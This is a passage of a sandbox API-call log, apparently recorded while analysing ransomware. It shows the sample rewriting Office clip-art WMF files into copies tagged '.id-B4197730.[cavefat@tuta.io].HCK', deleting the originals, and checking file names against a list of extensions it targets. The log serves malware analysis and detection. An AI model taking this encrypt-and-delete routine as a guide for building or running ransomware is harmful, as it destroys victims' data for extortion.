lpOverlapped=0x0) returned 1 [0237.117] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.117] WriteFile (in: hFile=0x564, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0237.117] SetEndOfFile (hFile=0x564) returned 1 [0237.117] CloseHandle (hObject=0x564) returned 1 [0237.117] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.117] SetEndOfFile (hFile=0x3c4) returned 1 [0237.119] CloseHandle (hObject=0x3c4) returned 1 [0237.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.120] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf")) returned 1 [0237.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0237.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0237.121] lstrlenW (lpString=".doc") returned 4 [0237.121] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.121] lstrlenW (lpString=".docx") returned 5 [0237.121] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0237.121] lstrlenW (lpString=".pdf") returned 4 [0237.121] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.121] lstrlenW (lpString=".xls") returned 4 [0237.121] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.121] lstrlenW (lpString=".xlsx") returned 5 [0237.121] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0237.121] lstrlenW (lpString=".ppt") returned 4 [0237.121] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0237.121] lstrlenW (lpString=".zip") returned 4 [0237.121] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.121] lstrlenW (lpString=".rar") returned 4 [0237.121] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.121] lstrlenW (lpString=".bz2") returned 4 [0237.121] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.121] lstrlenW (lpString=".7z") returned 3 [0237.121] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0237.121] lstrlenW (lpString=".dbf") returned 4 [0237.121] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0237.121] lstrlenW (lpString=".1cd") returned 4 [0237.121] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0237.121] lstrlenW (lpString=".jpg") returned 4 [0237.121] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0237.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0237.122] lstrlenW (lpString=".doc") returned 4 [0237.333] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.333] lstrlenW (lpString=".docx") returned 5 [0237.333] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0237.333] lstrlenW (lpString=".pdf") returned 4 [0237.333] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.333] lstrlenW (lpString=".xls") returned 4 [0237.333] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.333] lstrlenW (lpString=".xlsx") returned 5 [0237.333] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0237.333] lstrlenW (lpString=".ppt") returned 4 [0237.333] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0237.334] lstrlenW (lpString=".zip") returned 4 [0237.334] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.334] lstrlenW (lpString=".rar") returned 4 [0237.334] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.334] lstrlenW (lpString=".bz2") returned 4 [0237.334] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.334] lstrlenW (lpString=".7z") returned 3 [0237.334] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0237.334] lstrlenW (lpString=".dbf") returned 4 [0237.334] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0237.334] lstrlenW (lpString=".1cd") returned 4 [0237.334] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0237.334] lstrlenW (lpString=".jpg") returned 4 [0237.334] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.334] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0237.334] lstrlenW (lpString="J0152608.WMF") returned 12 [0237.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0237.335] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=12436) returned 1 [0237.335] CloseHandle (hObject=0x4a4) returned 1 [0237.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf")) returned 0x220 [0237.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0237.336] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.336] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0237.336] GetLastError () returned 0x0 [0237.336] ReadFile (in: hFile=0x4a4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x3094, lpOverlapped=0x0) returned 1 [0237.338] WriteFile (in: hFile=0x454, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x30a0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x30a0, lpOverlapped=0x0) returned 1 [0237.339] ReadFile (in: hFile=0x4a4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.339] WriteFile (in: hFile=0x454, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0237.339] SetEndOfFile (hFile=0x454) returned 1 [0237.339] CloseHandle (hObject=0x454) returned 1 [0237.339] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.339] SetEndOfFile (hFile=0x4a4) returned 1 [0237.342] CloseHandle (hObject=0x4a4) returned 1 [0237.342] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.342] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf")) returned 1 [0237.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0237.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0237.343] lstrlenW (lpString=".doc") returned 4 [0237.343] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.343] lstrlenW (lpString=".docx") returned 5 [0237.344] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0237.344] lstrlenW (lpString=".pdf") returned 4 [0237.344] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.344] lstrlenW (lpString=".xls") returned 4 [0237.344] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.344] lstrlenW (lpString=".xlsx") returned 5 [0237.344] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0237.344] lstrlenW (lpString=".ppt") returned 4 [0237.344] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0237.344] lstrlenW (lpString=".zip") returned 4 [0237.344] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.344] lstrlenW (lpString=".rar") returned 4 [0237.344] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.344] lstrlenW (lpString=".bz2") returned 4 [0237.344] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.344] lstrlenW (lpString=".7z") returned 3 [0237.344] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0237.344] lstrlenW (lpString=".dbf") returned 4 [0237.344] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0237.344] lstrlenW (lpString=".1cd") returned 4 [0237.344] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0237.344] lstrlenW (lpString=".jpg") returned 4 [0237.344] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0237.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0237.344] lstrlenW (lpString=".doc") returned 4 [0237.344] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.344] lstrlenW (lpString=".docx") returned 5 [0237.344] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0237.344] lstrlenW (lpString=".pdf") returned 4 [0237.344] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.345] lstrlenW (lpString=".xls") returned 4 [0237.345] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.345] lstrlenW (lpString=".xlsx") returned 5 [0237.345] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0237.345] lstrlenW (lpString=".ppt") returned 4 [0237.345] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0237.345] lstrlenW (lpString=".zip") returned 4 [0237.345] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.345] lstrlenW (lpString=".rar") returned 4 [0237.345] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.345] lstrlenW (lpString=".bz2") returned 4 [0237.345] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.345] lstrlenW (lpString=".7z") returned 3 [0237.345] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0237.345] lstrlenW (lpString=".dbf") returned 4 [0237.345] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0237.345] lstrlenW (lpString=".1cd") returned 4 [0237.345] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0237.345] lstrlenW (lpString=".jpg") returned 4 [0237.345] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.345] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0237.345] lstrlenW (lpString="J0152610.WMF") returned 12 [0237.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0237.347] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=5960) returned 1 [0237.347] CloseHandle (hObject=0x4a4) returned 1 [0237.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf")) returned 0x220 [0237.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0237.347] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.347] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0237.348] GetLastError () returned 0x0 [0237.348] ReadFile (in: hFile=0x4a4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x1748, lpOverlapped=0x0) returned 1 [0237.350] WriteFile (in: hFile=0x454, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x1750, lpOverlapped=0x0) returned 1 [0237.351] ReadFile (in: hFile=0x4a4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.351] WriteFile (in: hFile=0x454, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0237.351] SetEndOfFile (hFile=0x454) returned 1 [0237.351] CloseHandle (hObject=0x454) returned 1 [0237.351] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.351] SetEndOfFile (hFile=0x4a4) returned 1 [0237.353] CloseHandle (hObject=0x4a4) returned 1 [0237.353] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.353] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf")) returned 1 [0237.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0237.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0237.354] lstrlenW (lpString=".doc") returned 4 [0237.354] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.354] lstrlenW (lpString=".docx") returned 5 [0237.354] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0237.354] lstrlenW (lpString=".pdf") returned 4 [0237.355] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.355] lstrlenW (lpString=".xls") returned 4 [0237.355] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.355] lstrlenW (lpString=".xlsx") returned 5 [0237.355] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0237.355] lstrlenW (lpString=".ppt") returned 4 [0237.355] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0237.355] lstrlenW (lpString=".zip") returned 4 [0237.355] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.355] lstrlenW (lpString=".rar") returned 4 [0237.355] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.355] lstrlenW (lpString=".bz2") returned 4 [0237.355] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.355] lstrlenW (lpString=".7z") returned 3 [0237.355] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0237.355] lstrlenW (lpString=".dbf") returned 4 [0237.355] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0237.355] lstrlenW (lpString=".1cd") returned 4 [0237.355] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0237.355] lstrlenW (lpString=".jpg") returned 4 [0237.355] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0237.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0237.355] lstrlenW (lpString=".doc") returned 4 [0237.355] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.355] lstrlenW (lpString=".docx") returned 5 [0237.355] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0237.355] lstrlenW (lpString=".pdf") returned 4 [0237.355] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.355] lstrlenW (lpString=".xls") returned 4 [0237.355] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.355] lstrlenW (lpString=".xlsx") returned 5 [0237.355] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0237.355] lstrlenW (lpString=".ppt") returned 4 [0237.355] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0237.356] lstrlenW (lpString=".zip") returned 4 [0237.356] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.356] lstrlenW (lpString=".rar") returned 4 [0237.356] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.356] lstrlenW (lpString=".bz2") returned 4 [0237.356] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.356] lstrlenW (lpString=".7z") returned 3 [0237.356] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0237.356] lstrlenW (lpString=".dbf") returned 4 [0237.356] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0237.356] lstrlenW (lpString=".1cd") returned 4 [0237.356] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0237.356] lstrlenW (lpString=".jpg") returned 4 [0237.356] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.356] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0237.356] lstrlenW (lpString="J0152622.WMF") returned 12 [0237.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0237.358] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=9604) returned 1 [0237.358] CloseHandle (hObject=0x4a4) returned 1 [0237.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf")) returned 0x220 [0237.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0237.358] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.359] SetFilePointerEx (in: hFile=0x4a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0237.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0237.359] GetLastError () returned 0x0 [0237.359] ReadFile (in: hFile=0x4a4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x2584, lpOverlapped=0x0) returned 1 [0237.361] WriteFile (in: hFile=0x454, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x2590, lpOverlapped=0x0) returned 1 [0237.362] ReadFile (in: hFile=0x4a4, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.362] WriteFile (in: hFile=0x454, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0237.362] 